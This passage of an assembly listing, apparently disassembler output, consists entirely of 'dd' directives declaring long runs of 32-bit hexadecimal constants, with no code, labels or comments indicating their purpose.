		dd 4B6D0289h, 0C997BA9Eh, 4217CC73h, 53CBEBA7h,	2CC88581h
		dd 546EEE8h, 937D2461h,	5E3158F5h, 11654E15h, 0E3C8825Bh
		dd 4A9BC365h, 769EF7C1h, 0BD35EEC5h, 0AFDBABEDh, 0E2E6CF9h
		dd 0E744A9DDh, 43CEE3E2h, 40CFC9E7h, 0F3D4E2E3h, 7DE4726h
		dd 3C605DCh, 6FFA5E07h,	2D37923Ah, 99921254h, 45DCA27Fh
		dd 0C1C8C4E4h, 0CD04BC68h, 1B2557EDh, 0E6C58B45h, 35B12781h
		dd 0B103A972h, 2E68D53Eh, 0CE66F2F9h, 89757F03h, 886360B3h
		dd 0A37F1A4h, 0BEC50152h, 0C613D76Bh, 3113B143h, 8DC2B0AAh
		dd 4F542F14h, 301C5F7Dh, 0A2E7263Bh, 0A6FD478Bh, 4CC488B2h
		dd 0A67220A8h, 0BBBDFE90h
		dd 53C567F6h, 0A34600F6h, 59340B83h, 5FEF9B91h,	936D5857h
		dd 7D13B45Bh, 8E1644CBh, 8D8D38B5h, 0FF12BD86h,	0F76C9DE0h
		dd 0B161D775h, 0AA285AD8h, 26EF96E0h, 98959856h, 0D7D6C56Bh
		dd 36910587h, 0E839B4CDh, 47E98BE5h, 4F023943h,	33991B70h
		dd 0C31CE8CCh, 4313E0F2h, 216E411Ch, 82928208h,	7FE4AA7Ah
		dd 0FC9FF1EAh, 4ECFB1F7h, 0C8138D4Dh, 0CCC748C8h, 317E1B32h
		dd 297739BDh, 4A8E9696h, 948F512Fh, 781BF82Fh, 2660A622h
		dd 0E04B24AAh, 0BF20934Dh, 28282FCEh, 3A7DDFD9h, 7A1689C4h
		dd 2456C784h, 80218772h, 8192787Ch, 27BD7FF9h, 0A610BE5Fh
		dd 0F03DC2F6h, 0BF1E8D89h, 18DBC79h, 0B5AA4EB0h, 0AF4ED893h
		dd 0D613948Ah, 7D2C61AEh, 73613A37h, 0E79F4A52h, 1BB503B6h
		dd 0ACF5451Fh, 0C8832E68h, 0E62CEA04h, 6F3DB686h, 0AFACE917h
		dd 69D9CD6Ah, 456C8122h, 51709E0Ch, 960EEE9Eh, 0ED053D1Bh
		dd 539B4EABh, 5C0FA6F5h, 119C109Ch, 0E8348FA7h,	0CF51BB01h
		dd 0BFC50A3h, 0BC0A995Eh, 39298214h, 3DAB8595h,	0DEF9BBE1h
		dd 0C80F339h, 0F592F34Eh, 0EA9CE1A5h, 477BE10Fh, 8450DFB9h
		dd 2BD6F968h, 0F33F0DF8h, 0B97E17C8h, 3A07721Ah, 710CEED6h
		dd 246555FFh, 456A406Fh, 65C5C390h, 0F099265Eh,	1E606390h
		dd 0FE3F9DDDh, 0F47E3555h, 0F0F04D9Fh, 0A25C5D48h, 4B31F28Dh
		dd 0C354E49Fh, 1CF7F79Bh, 0A4ABB13Ah, 0E0D34C94h, 65B3CC19h
		dd 32A8E5AFh, 0A3276F08h, 8E1677C1h, 9DBB9AC2h,	7A550B8Eh
		dd 815AB12Eh, 2B35AE87h, 62CE5F19h, 17C0B59h, 0FE1CD66Eh
		dd 0F96025A3h, 0C9591B93h, 65386E52h, 3AA78F09h, 0AA7670FCh
		dd 0D685D44Fh, 8F34406Ah, 64432C70h, 0F21008h, 0ECA1A154h
		dd 0D04A1E53h, 22411C90h, 8BB20C97h, 45920A45h,	0D5528464h
		dd 6C440773h, 0EB39A293h, 18D3ECE3h, 0BA075BCBh, 0A73F69E0h
		dd 4170B7C8h, 8E138071h, 528CFE70h, 0BA4597A6h,	0E3419A4Bh
		dd 0ABE2A081h, 0EF322DD1h, 25D95929h, 4FB655EBh, 70970F91h
		dd 0C364519Ah, 2FE3B2E1h, 932665AEh, 247B24D9h,	0A502AAF2h
		dd 0A2137AD0h, 0E5B2BAFAh, 9AA2D295h, 4227E9A3h, 61B94EDBh
		dd 0EE09DF99h, 78703602h, 9391007Ah, 79E8A16Dh,	58221B80h
		dd 4DE41DE5h, 8BFBD164h, 1BFC7D24h, 0E636E4DFh,	0D7701DCBh
		dd 42279C7Bh, 7B4A7299h, 8A41B4E8h, 873171ECh, 0FC4CC458h
		dd 8D0E211Eh, 7004A7ABh, 0EE0E45C2h, 0FF31C5A0h, 47FA8B07h
		dd 749DFBCCh, 8C963A93h, 7BFFC23Ah, 5C02B139h, 9BE07FD0h
		dd 121C787Dh, 0DFD2C729h, 0BB129C87h, 6FF933B1h, 2B90EA4Ah
		dd 69568FAFh, 695FDF04h, 35225824h, 0B19CCF7Fh,	57E5AE37h
		dd 0D8025CB8h, 0B73A9B48h, 895A1A45h, 0FD95C032h, 0F5D2156Bh
		dd 990E0D52h, 953BF33Ah, 0C34C0F2Eh, 26EAA4DEh,	1543624Bh
		dd 0B1D6DBFCh, 409D72E7h, 475F4FF1h, 5CB2EFCEh,	0E2CF1EB4h
		dd 0B577A146h, 0BEB10007h, 0E2E16207h, 6919E385h, 0D7D88FB5h
		dd 85A9F796h, 0CA9A0902h, 543ACF07h, 0FE941CEAh, 66A046C3h
		dd 0D71F4D1Ch, 8A76EEACh, 4B42E6E7h, 0F27E6FAAh, 0A9BC7F58h
		dd 3BE24877h, 5374D74h,	8691E960h, 698FF356h, 818A369Ch
		dd 24113D3Eh, 91A08B23h, 7EF7440Ah, 7AC01045h, 6AAAE123h
		dd 840E9041h, 0D4064C5Ch, 2CA15E2Bh, 0D07E4CFAh, 631A7C2Dh
		dd 482C1F00h, 66930DFBh, 71DF1B1Eh, 0ED8C3A1Bh,	0BC48E65Bh
		dd 83051832h, 0F65AA50Dh, 0DCBB5EFFh, 1614F519h, 9127BFC0h
		dd 4080BCD7h, 0EECEFA94h, 755D7D4Bh, 2C401AA1h,	77177995h
		dd 7F759DA0h, 3F641510h, 16BE0698h, 0B7881A6h, 5CBC2479h
		dd 0E6FDC5CCh, 82306CACh, 5855F333h, 8496BCAAh,	0DECD3E6Dh
		dd 24693268h, 583399E2h, 242086E7h, 453607CAh, 64E14DB0h
		dd 2448D290h, 31439FCEh, 0C06A9593h, 4F2D73EBh,	0F70A7524h
		dd 6C536AA5h, 338FB61Eh, 7B0167C5h, 0A7C46A26h,	8E6B122Bh
		dd 2C9692C3h, 941D1B4Eh, 0A48D1B05h, 401FF870h,	0A74FB657h
		dd 9D7D44C5h, 1358FD83h, 114B9250h, 59ABB224h, 52D4E64Fh
		dd 708FD772h, 77B5EED2h, 186B70FAh, 15459E1Ch, 69E4C6C7h
		dd 3DB9FFACh, 37339402h, 0C36CFD29h, 0F88BA437h, 2D483F26h
		dd 187CBD23h, 0FD4D9284h, 88A19657h, 8EE94932h,	4042254Ah
		dd 0E9835335h, 0BDB00A78h, 906E5870h, 0B86850E2h, 29D20391h
		dd 240715DFh, 218B3EA3h, 8B021B4Ah, 1FB2ED40h, 0D32BFAD1h
		dd 4D3E2F29h, 176DBC33h, 6360205Eh, 0B30C33F4h,	0D06F86FFh
		dd 0A3D4E6B5h, 0D7266D0Dh, 5E63826Bh, 0D072C948h, 0FAAFC372h
		dd 0E828DBB8h, 0C6D4DCC5h, 0FB3F1654h, 0C7A246A1h, 15BB669Dh
		dd 0ED278E43h, 1FBF00Eh, 0F6BD0E6h, 203D3251h, 0A5CD4EC2h
		dd 4CA5BDE3h, 6EEED079h, 3EB99CFAh, 885AF2E8h, 6FF01F9Ch
		dd 0D7C30615h, 64809D9Dh, 0B6638843h, 63CA8019h, 412FA705h
		dd 0DC6E39ADh, 0A8D9C4BBh, 0DA474E39h, 608D0FC9h, 600703EEh
		dd 0C70B0811h, 0A8BB1B94h, 0AEB4A0DEh, 0F0F67A74h, 0EB293364h
		dd 25EEED4Fh, 5D43B6EEh, 1991DDEFh, 3073E7A1h, 1B2EFE98h
		dd 15ECD9B8h, 88187DBEh, 415B91A5h, 6BE5F8B8h, 6AA46834h
		dd 0D245DABDh, 6AA45FEAh, 3576AFAh, 0D7D8A661h,	35CB51BAh
		dd 5D688E1h, 2DC667E1h,	0D553815Dh, 0F0533519h,	72BD8449h
		dd 0B5F0CACCh, 9B42358Fh, 0C0930F89h, 408D2F2Ah, 0CF6DD280h
		dd 0AAA8209Eh, 79C8D2D8h, 8C4C978Ch, 0A60309C7h, 9388F641h
		dd 0ACC9A899h, 418D2BDBh, 731B43B6h, 0DB16EE6Dh, 45C96147h
		dd 1900C32Fh, 0F1FCEA39h, 1ADF8596h, 8D9B7467h,	81D95CCDh
		dd 0AD94B7ABh, 2F5B7EFh, 0DC854FCBh, 0F2F7FE0Ch, 106A2669h
		dd 5E40C8EBh, 0F75E1D2Eh, 8B8E70CDh, 0A65BCE4Eh, 0DBC4D09Fh
		dd 43E0C9A4h, 86769366h, 27B31FF8h, 0E62A6BA3h,	67246FD0h
		dd 1573BE4Fh, 0CBFC791Ch, 574C4227h, 0FE4C8C2Eh, 0A666987Fh
		dd 0BECCE3EEh, 42295E22h, 0E4EEB760h, 2A4A8640h, 4001096Fh
		dd 4937D415h, 2F912CBh,	538B7BF6h, 0E5FA1C7Ch, 6B546012h
		dd 1B2D4962h, 8747A3ABh, 0F81AD2D3h, 0B5A38404h, 12C7334Fh
		dd 0C0859175h, 2BEB148Ah, 83BAA1A6h, 745A6EA1h,	0D3FEE5D1h
		dd 0E38C38BEh, 44FFE5B7h, 39E50632h, 56C00436h,	8C08FB0Ah
		dd 3BBEFD05h, 8280E429h, 5A6A0D14h, 5E77E4DBh, 0F712BB90h
		dd 0C3180AB0h, 5D894386h, 53F19913h, 218F4099h,	0D1A758F8h
		dd 2D85B706h, 0D257A8E6h, 3A471ADBh, 16E31AFAh,	0F0DDD732h
		dd 8CE395A6h, 8456730h,	14F010EAh, 0DB8D2380h, 1CF0B168h
		dd 8E2BC0F7h, 0DA97E1A5h, 7AC2D094h, 0CE69AD3Bh, 0F1F5EBC6h
		dd 70CC03A6h, 8780F006h, 1D2C5F95h, 0D72DAAA7h,	31AB6368h
		dd 248EB0E1h, 293AD93Eh, 0DB1B65DBh, 0D4290815h, 0B6CB5F90h
		dd 4839E4B7h, 10CB5C48h, 0AB69BE88h, 0C8E42760h, 0A3D14799h
		dd 9812AA8Eh, 4EF68002h, 207C27D9h, 0B3F9E0FFh,	0AC3A3043h
		dd 0F41DDB1Fh, 0F6A1E3E1h, 0B5053E52h, 31604129h, 0C3BC4CB6h
		dd 0DDB53EEDh, 0A7A8ED81h, 2D82E8E2h, 0E94FAA79h, 7905FEEAh
		dd 0B34080BCh, 8186DDh,	54E42895h, 18733D82h, 8264F8A4h
		dd 953B1F45h, 4096D79Eh, 9B1C8A66h, 9A4BFB3Fh, 0A7B8B7D4h
		dd 7BB06189h, 0E91528CAh, 0DA3BFE8Dh, 0D6A3B22Eh, 762FDAE3h
		dd 0A98F79DAh, 8938E27Dh, 0E77515F1h, 25C43ADEh, 154C96C8h
		dd 0B8C8F69Ch, 66E57824h, 7D8950E1h, 0B0F9B554h, 9B50041Ch
		dd 0AE5CCEF1h, 5CCE3C62h
		dd 0AC9CC13Bh, 5C2BF113h, 0D452ACF1h, 0BCACFBDBh, 351886EDh
		dd 88AA9208h, 0D7B7F8F5h, 0D306B1EAh, 4E2376CFh, 0F9B17CB2h
		dd 91855A4Fh, 0CFD7EAFh, 3A61ADE7h, 0C15BD8D8h,	0B0F89BE3h
		dd 79429AEEh, 0CF9C4E58h, 0D37604EEh, 6931BB7Ch, 1BA868E6h
		dd 58DEB13Bh, 3606B4C5h, 0BB65504Dh, 0A6E6939Ch, 0B839991Ah
		dd 819D57AAh, 929E5D5Bh, 7D362B37h, 1C6ACFB3h, 0FAB8D45Eh
		dd 78737B2Ah, 210F456Ah, 0E2112BBCh, 48B24CBBh,	73BCFAA6h
		dd 9229E22Dh, 98B7276Fh, 0E5B8EE1Fh, 1F74FE40h,	485F5D3Bh
		dd 25E7F7B3h, 8CDD30D2h, 316317A4h, 0AC8FCCEEh,	0D7CDE888h
		dd 0B56C9624h, 3E91338Ah, 0CB4B8A7Fh, 0C03B37E6h, 2788A959h
		dd 0F20D0D42h, 0DBD8F414h, 2442124Ch, 4E3C2ECBh, 0AF55456Eh
		dd 3B938AEAh, 296C2BCh,	0C0274F1Fh, 2C5EA8Fh, 8CD8E866h
		dd 862CDCC7h, 2CDC5A70h, 0AB52148Fh, 0A7C37FAAh, 5F2149EAh
		dd 8D269442h, 7EA49F84h, 15DE5968h, 0FEF3B653h,	0E18B916Ah
		dd 7BA71BFEh, 5950D91h,	2C48CB70h, 0EF547531h, 816965E0h
		dd 0D5251CC8h, 0CF5ED402h, 0D6597648h, 219C13E4h, 25E9E80Ch
		dd 3E999F02h, 78FD5288h, 101155CCh, 55EFC1B0h, 0A244F69Bh
		dd 972AB970h, 0E2D70C60h, 0B5270105h, 5C216FD3h, 0DF905110h
		dd 1C60F76Dh, 0DAEBA5D3h, 0E1B12045h, 927E2A48h, 0C514249Eh
		dd 2A45D094h, 8090A695h, 5837AE40h, 6E8C5B06h, 9EC7D90Eh
		dd 1BD3115Eh, 0DE40E50Dh, 0A82F856Eh, 99770F44h, 0ED7F11DAh
		dd 30E088D2h, 29E3AC3Eh, 0BAF98436h, 0BB137F81h, 0BDED2E9Eh
		dd 0C832BE10h, 0E40A4740h, 0B0F8F89Eh, 0AFD6C78h, 561B5F95h
		dd 0E9AEAA90h, 6B20BEC2h, 64D776C3h, 0A4D7F5AFh, 7E3CFA14h
		dd 0AAD4D19Fh, 0D837F07Eh, 0B3E606ECh, 32F9A4ACh, 0E2D02635h
		dd 72E98631h, 0AFA63829h, 4EBE2110h, 62C8E960h,	0EA603189h
		dd 23758E0Eh, 0C91FD3C7h, 0F675379Dh, 0E42B7184h, 0F9226CACh
		dd 3D6C2738h, 24306A74h, 658E848Dh, 0E6D3D7Eh, 0FF6EBD6h
		dd 8164C80Dh, 78F56ED5h, 0AD2DDA2Ch, 0BC9E9CE7h, 8D2EF608h
		dd 0E2B4F193h, 0D4FB21A3h, 26B33120h, 0B94B9F9Ch, 3CBABAF1h
		dd 0BE2E5542h, 6C5E59F9h, 25C75202h, 0A01DC5D1h, 0C7D433Ch
		dd 870103E6h, 0AC0158ACh, 9BD9D6FDh, 6C6F1EB4h,	1103BDB5h
		dd 4999A79Ch, 0E72999FFh, 0A877F387h, 0B15B05Bh, 865A3FE4h
		dd 3D71DC00h, 32370BB3h, 95BA3A39h, 0F6046088h,	0DB2208EEh
		dd 8D436D5Eh, 0E37A91F2h, 0EFA7ECF2h, 0DAD967DFh, 52D1E5FAh
		dd 0FF5F5A31h, 36F90C7h, 7795A673h, 5B735B74h, 10AD9BDDh
		dd 0BFBAE1A8h, 73602BEFh, 1F501862h, 0B5EFFC8Eh, 7B502335h
		dd 0E4600543h, 574C8C0h, 6A7C2D2Ah, 55457370h, 0A3FA139Eh
		dd 47AAFB5Dh, 2F232707h, 9598759h, 4E25C730h, 0C66AB7h
		dd 4D6A792h, 38E06CA4h,	6D62A980h, 8105D587h, 7E4A4FCAh
		dd 0DF94B7FCh, 0C5F67419h, 17271877h, 0E8A1992Ah, 2E98793Fh
		dd 1B5AE6C0h, 0DD2B8A90h, 175C818Dh, 4EEF1225h,	7A24210Dh
		dd 0DDB8F7E2h, 4B140A94h, 588E9629h, 13680382h,	0F6D5020Dh
		dd 315912B6h, 2201A922h, 0FD27D7B4h, 7E29E32Eh,	356DFAD8h
		dd 0CD54CF4Dh, 7A4BCA30h, 1D5214h, 5B8932FBh, 6CDCBED2h
		dd 84FA14CEh, 0F75E9DE4h, 9C91E061h, 54B02095h,	3DF4C8EAh
		dd 1FE47608h, 0FDB84EB3h, 0C695A3DAh, 247BA440h, 466E085Ah
		dd 3A3970F8h, 27F1A175h, 0DA992EC6h, 0DF2D4BF8h, 9FF487BDh
		dd 177A4185h, 0DE6AE49Ah, 1CE7A1E9h, 0A8846888h, 2E1CA91h
		dd 3CEEDFEEh, 65A915DFh, 179E2F4Dh, 9CA7B474h, 0C35A1208h
		dd 71B76FE5h, 0B6D4631Ch, 31973883h, 1699A9ABh,	2EDA1AFDh
		dd 0E731E89Fh, 7CD9E4E1h, 0BDEEA343h, 0B67B5E56h, 13046777h
		dd 170D9C98h, 0D162894Dh, 20D3A016h, 0A1A324D7h, 36A04114h
		dd 0A925F3BBh, 0E416C97Eh, 479F1BB4h, 3FE1AF3Fh, 0CA46AF92h
		dd 0D72F1B0Bh, 8C1C64DAh, 52871367h, 0C29B626Ah, 0AE4C8B25h
		dd 0A1216870h, 950C5953h, 7D9BD11Fh, 18A999FFh,	0C4A9CB64h
		dd 48597E4Fh, 0E26AC166h, 50EA046h, 5C17DC08h, 5366D7A4h
		dd 2C9D4D90h, 0E1957822h, 0BD1360C8h, 9A0D9332h, 0DBECCA33h
		dd 796D7D74h, 0C4FF4A2Ah, 520CD6FAh, 0B67EEFE3h, 0D602BFA7h
		dd 4FFAF1D7h, 4346F3F5h, 374523E8h, 1F1E8297h, 0AC7C5872h
		dd 37CB3991h, 7532BF9Ch, 80635CFEh, 4B8946EAh, 9B7C3DCAh
		dd 61EB1872h, 0E72626E0h, 8B897633h, 401F04EEh,	0DA69F782h
		dd 0F57F90CDh, 8F281909h, 86D41EDEh, 230B6FA0h,	8EEFEB76h
		dd 395F1D7Eh, 251322CDh, 36EE7065h, 3446C125h, 6A84E914h
		dd 487C7EFAh, 0B0B6D047h, 8BACB45Ch, 7BDF2296h,	96AB97AEh
		dd 0CCA19EADh, 0C7416C5Eh, 0C294B760h, 42F4A9FBh, 9B6F93D0h
		dd 0DCD50C7Fh, 27A7DD5Ah, 47F8263Ah, 36AB97A4h,	391CA5D5h
		dd 19E88D15h, 0FBC67EB6h, 73E7CE1Eh, 0BFFBCFDBh, 211CDCBFh
		dd 7770957Bh, 4DEE26A4h, 0F4262311h, 31807FC0h,	0B0EA21FAh
		dd 404B923Dh, 76C84AE4h, 5D500BABh, 0C70E6B97h,	482584CEh
		dd 0CC758A2Eh, 98B098FCh, 0D01E28C1h, 0D8D5A781h, 3F4FF0B1h
		dd 22FC1EB6h, 4C4BFB6Ch, 514321BDh, 0F8B978D5h,	60007ED9h
		dd 2223BD00h, 0B15D4127h, 9ABABE5Dh, 0C3EC5E6Eh, 241E3589h
		dd 0CC6A8C07h, 78540512h, 0ACDF4FA5h, 81C1221Bh, 14D6104Fh
		dd 6C87984Eh, 0C2DBEDC1h, 0D73A052Ah, 7476F371h, 4E8D307Fh
		dd 0AB489452h, 7C325160h, 9659D4D8h, 21A2B642h,	0CA171BD2h
		dd 9DC9DAD3h, 0F91752ADh, 92EC74E2h, 1759CD9Fh,	0CDB79EFEh
		dd 876131D9h, 0E7F759Eh, 0BF266252h, 0EE1540C0h, 0F804974Ah
		dd 0A13F282Ah, 0CB41E7F9h, 899B8B0Dh, 0BDFC169Bh, 1CA96338h
		dd 0FCAD7A2Eh, 7E9CD4A3h, 0D38F851Eh, 0B84EFC2h, 1977AF7Ah
		dd 20D23E8h, 3095708h, 4D4A2B41h, 986F785Fh, 7C685E10h
		dd 0B66E18ECh, 0DC439239h, 0FBF03CD4h, 7C607639h, 0E2F95C06h
		dd 16733BD4h, 63CDF8E4h, 5B3675BCh, 0D3B59E7Fh,	66D0069Eh
		dd 29CBADACh, 7DE98A14h, 3C3A12D4h, 0F040A346h,	1FA7A3C6h
		dd 13E12BEFh, 736D4889h, 0C1333DC2h, 0CDC4E02h,	0ACF153D7h
		dd 2D72D3D4h, 0B914EE2Eh, 8ECB55EBh, 0E39EBC6Ah, 9911FA0h
		dd 2C63FC40h, 0B9DEEC3Fh, 0DB4275F6h, 861BACDEh, 6EFCBA6Dh
		dd 0C8D8003Fh, 9FC727E1h, 5315EE8Ch, 67B6712Fh,	55F5926Dh
		dd 2DAE1A15h, 0F95F12A2h, 8D525405h, 3EFF435h, 37B6823Fh
		dd 79C312BEh, 6B69ADF5h, 8BEEAB93h, 0B49ED759h,	9D707BF4h
		dd 4CA83589h, 88AAE2B7h, 8A15AEE9h, 81A9A5A7h, 0DB8C03F0h
		dd 0EDE06CE0h, 0EEDD010h, 0A17D6087h, 4F7FA0D4h, 398B3707h
		dd 0A0C6F69Ch, 133D0460h, 7961A089h, 0E6CD0C22h, 0EEB4B183h
		dd 547A36Fh, 169D01BCh,	5DD94855h, 431E46FBh, 312B6FAh
		dd 8B1C1305h, 0EF8DE97Fh, 3F25F0A1h, 27F162F2h,	9FA81A38h
		dd 0C9C86068h, 9BBCF621h, 3232DBF3h, 781BBB1Bh,	0D212C5FBh
		dd 852B7F2Ch, 6E79DC61h, 49E7672Ch, 83D1A453h, 8BD8B7CAh
		dd 0B79C0628h, 19E2D5C6h, 0BA8D9046h, 7340DF84h, 0F78084DCh
		dd 9D1F546Dh, 31EA9A5Ch, 5D145901h, 0EB0A3506h,	58C607B3h
		dd 0CB03AE94h, 3A4D472Ah, 0B9C6E887h, 0F238CACh, 66209DEAh
		dd 0BC6C5009h, 8C92CDDh, 6FDAA21Fh, 0B5B47810h,	250BE0DAh
		dd 8B0AC23Bh, 6BE382DFh, 0B7E0B8CEh, 8D1753CCh,	9E379E9Ch
		dd 3098912Fh, 0E6369D64h
		dd 5BC7F264h, 0F5F92368h, 0D6AF83F6h, 32655F76h, 782850E6h
		dd 6643DAA9h, 7708883Fh, 223104ADh, 0EA99861h, 0ED50C820h
		dd 0A90FB908h, 72F1D6Bh, 0E1F86AACh, 5A4149F7h,	0C3D8FD24h
		dd 75398371h, 32B68A8Ch, 0E84C9B40h, 0F086833Bh, 0CDC9B4B4h
		dd 6BB71083h, 0F2C51974h, 74C765B0h, 398B38A7h,	55898C13h
		dd 73B5C7DCh, 193E5C36h, 0D9ACB272h, 0B80A929Bh, 0DF1D7388h
		dd 221DF610h, 0D3C7F38Ah, 0CDBE7B5Ah, 0DE2B3D47h, 11B415D4h
		dd 0D5D5BFBh, 0C2F4EB7Eh, 877F4384h, 7F6603CAh,	0D19C793Eh
		dd 372C5245h, 0D25DD1F0h, 632AE243h, 4BE3DF21h,	0C4CBA59Dh
		dd 39BCF7A0h, 95B4CC9Dh, 0EB3C0302h, 651F7B6Ah,	906B20D5h
		dd 0D4384B4Dh, 0C06B44FBh, 0FBF6301Ah, 4A0A36E7h, 0D8C20E7h
		dd 2E5D4A79h, 30790E42h, 3C4D7D5Eh, 691F1C4Bh, 0A4E5A9EFh
		dd 0A5332E62h, 0E4C522EBh, 325D65B4h, 20967D14h, 0AA903B5Eh
		dd 98E2B00Ah, 6FD90BD3h, 76FB5478h, 6B4557Dh, 4DEEB8D6h
		dd 0AE701B65h, 0A7A89F4h, 476705F1h, 72F9BF3Ch,	0DC1F91E7h
		dd 0A59DF272h, 395CF0ABh, 91CE2786h, 0A11B9467h, 6B84284Ch
		dd 2B2A386Eh, 5C9BAEECh, 616F75EAh, 0AF0984BCh,	412084EEh
		dd 4DB27A23h, 906C2F93h, 32585FCCh, 0ED3D7A3Eh,	4B983499h
		dd 9CE47212h, 481C18FFh, 1E926EA5h, 8F3A1ADCh, 95E38297h
		dd 0AF42EAF0h, 5D5D6D1Fh, 0DBAB71F4h, 5A709C5Eh, 3E5E65CFh
		dd 14891CD1h, 0CD2AFE49h, 6AC83DFDh, 9C0DA44Dh,	3AB38513h
		dd 4FF0E55Ch, 1E304321h, 0A3EB15FFh, 3D809457h,	0BB6A8D35h
		dd 0D43E2BFDh, 0F6B1BDBh, 255D0133h, 0B3FEED36h, 546573C2h
		dd 5FD76DA5h, 1D444087h, 237234BCh, 6F31CDDAh, 0B7FEDD7Fh
		dd 0F2C6C1E6h, 53E9164Ch, 724E9CE7h, 0F654ED96h, 0CD44A22Bh
		dd 9CF132Eh, 9026E19h, 0D48DB23Ah, 973946B5h, 0B50A2CBEh
		dd 2AFC4A68h, 90FCA117h, 73684259h, 31DDBFDDh, 2D8BA754h
		dd 7B3B7554h, 0DD28B905h, 0E8E507DBh, 0EA9F9648h, 89F0FC32h
		dd 0C01C3D39h, 0EAADCD99h, 0A3A11D0Eh, 0DD94CEFCh, 7B62C60Fh
		dd 4500A55Ah, 3A219A09h, 564FE824h, 11EBDE1Eh, 102E1ABEh
		dd 96E980A2h, 1BA51E19h, 8CD109F6h, 0B843C5E9h,	1CF4B1C1h
		dd 0A52855BEh, 24242C30h, 0BD0E0DDh, 19579D94h,	245934BCh
		dd 741C55h, 0DAC16123h,	2F10D4C5h, 25884757h, 9E87B7D1h
		dd 854F0A6Eh, 0DF27E1DBh, 0E360952h, 0F1150E42h, 8D534880h
		dd 0F5B69D7h, 0C55CACCFh, 0D25EB6FCh, 0ED8D10E1h, 1E32F59h
		dd 0B2C210EAh, 0D8C76579h, 2F50B92Bh, 0AC15C0Ah, 2EF2CFEFh
		dd 68885886h, 33E3B2D9h, 0FC6E8AF4h, 1A4E72E4h,	3B651C1Eh
		dd 0FDF1B283h, 38FB07E6h, 8063B3BDh, 0AA998610h, 68AEF6BCh
		dd 0EE44E0B2h, 0DAA635A4h, 0AB10F040h, 0FD7EEF3h, 0F8FB5D28h
		dd 44B95635h, 499B9FF8h, 101E3115h, 1298CD27h, 5A6F9D0Dh
		dd 4DC3FD5Dh, 0A252C033h, 5288D0DCh, 2DD4AD59h,	8F58EA6Bh
		dd 79B7AD08h, 0C1727CE0h, 3AAB4E67h, 0F252AAB3h, 5840F4BBh
		dd 96D2637Bh, 5A2EC4D6h, 0ED3C91C9h, 3856CC31h,	927EAD08h
		dd 16F3C044h, 0F409EB43h, 0DD2B55B1h, 0D3EE851Ah, 0CEE89008h
		dd 9978347Dh, 0E54CFF05h, 45A180CCh, 1FF66810h,	0C121883Fh
		dd 5B5A4214h, 7F12C40Ch, 75B747A3h, 4F394877h, 50B602DCh
		dd 0A2917B97h, 967A3793h, 8AC6E788h, 2FE91520h,	638F1592h
		dd 5FAAB485h, 0FA65BF15h, 0AF343FC1h, 375DE716h, 71C54D49h
		dd 0DA07CDB4h, 124AECEh, 133B48B4h, 1055FF24h, 346AA8A0h
		dd 1E5DC066h, 0A250D66Ch, 2BC2CB02h, 0DBE23335h, 4CEBF2CDh
		dd 4509140Dh, 30641272h, 0EF5D1505h, 867E4415h,	0E7F5AEE9h
		dd 0F5B1563Fh, 0CAC16683h, 73A98A91h, 0DF7A13DDh, 548BB479h
		dd 5A36EC26h, 0B052C263h, 2E662109h, 98354D22h,	3395DB50h
		dd 0A37E85BFh, 0E50A4864h, 9FC5C70Bh, 5ADC2EBAh, 77CFFC29h
		dd 79CBE713h, 9CBE8E2Eh, 69429D75h, 9B0F318Fh, 0F6970F6Fh
		dd 7EECCB7h, 3D57000Ah,	36BAF7D1h, 8F183652h, 9934A205h
		dd 553989B8h, 65ED6AD5h, 3ED4CDAh, 8CFBC491h, 0B591A00Ch
		dd 455E9EADh, 64EB2C7h,	342377Ch, 3AD637ECh, 856B1CC1h
		dd 0FD71157Dh, 0EC675291h, 923C67FDh, 0D9A67579h, 0CE678724h
		dd 9F2AD25Fh, 0C7584F37h, 2D226102h, 20D286B2h,	0AF89D3AFh
		dd 0ACBC16DEh, 9FDA0404h, 9A39DD67h, 0C5A9BC69h, 0C66827B2h
		dd 73EA76D1h, 8F2B82Ah,	9BD1E325h, 0AAD0985Dh, 0D191FBC3h
		dd 0C381BB8Dh, 82498F4Ch, 28508003h, 0CBCD575Eh, 0FB7E57C5h
		dd 2AB01599h, 357E74BEh, 7522943Fh, 0F1C18490h,	0BDB41532h
		dd 1BBEA3D7h, 2B88ABEAh, 0EC04E9DDh, 13CC5D5Eh,	0C7FBFB5Fh
		dd 816D9C97h, 0EABDF5BFh, 32D607ECh, 0DFBEB8B5h, 3EFF6302h
		dd 528410EEh, 24C2FC8Ah, 98E164FBh, 31B507Eh, 14F90593h
		dd 54172568h, 6109472Eh, 0B5376725h, 0FD39D1ACh, 24A57EAEh
		dd 5C773E9Ch, 0DAECDB21h, 13462D3Bh, 3D52ABB9h,	26754EF9h
		dd 53D578BBh, 37DF1F2h,	0E1D221E2h, 801D501Ch, 0D2D091AFh
		dd 23AAF041h, 6C9467A5h, 0BC264C14h, 62167F4Dh,	0A5BFA7FAh
		dd 3EC855DCh, 175F0E11h, 0BE8D30F2h, 0B4013A78h, 0E62D81A6h
		dd 0FD317062h, 0A31871EBh, 90C95D67h, 0B376CB07h, 507ACCF0h
		dd 0BE471628h, 9EE23ED8h, 72FE48E4h, 0F22AE627h, 1EB03F25h
		dd 0A4DC058Bh, 4CCA9BCBh, 0CE23145Ch, 84765DF5h, 8AF341F7h
		dd 0E6367905h, 0C859D96Ah, 22015F6h, 94E8B518h,	0F2ADAC87h
		dd 0E75D4057h, 9D887D6Eh, 9F0AF6B9h, 0A1FF8D22h, 0F2199516h
		dd 0A5BFA3CAh, 6FD7CC76h, 362B71BFh, 34A16B87h,	6780D3F0h
		dd 6382F33h, 0A1533FCCh, 4A5C4488h, 0A2049BF8h,	2E1F81C6h
		dd 0D2301CC7h, 35873AD3h, 58049EFBh, 447F17E2h,	232E6533h
		dd 0E11C2776h, 0D24FFD51h, 0F88BE9F2h, 30056308h, 0AF9F43AEh
		dd 3785886Dh, 0DBC32303h, 55935BB8h, 447086BAh,	0A7F88273h
		dd 7AB40F79h, 0D26A5320h, 85DFD3A6h, 0E75F0FB7h, 6849C118h
		dd 61924690h, 5C63535Ch, 2F519F05h, 0AFC81082h,	77B023A6h
		dd 1A5C9DB3h, 0B499FD65h, 79075D53h, 0ADD14F5h,	1EED0D1Bh
		dd 51574DD7h, 1080B2E1h, 0C2226BAh, 7F3753C7h, 4540BC5Bh
		dd 0F9299BF7h, 5DFEDE9Dh, 94487B11h, 0DB7B5AAFh, 0B2FD9202h
		dd 0C0DFDC8h, 0F5E8DC00h, 0AC41EF2Dh, 8B61A7Ch,	1E6BC58h
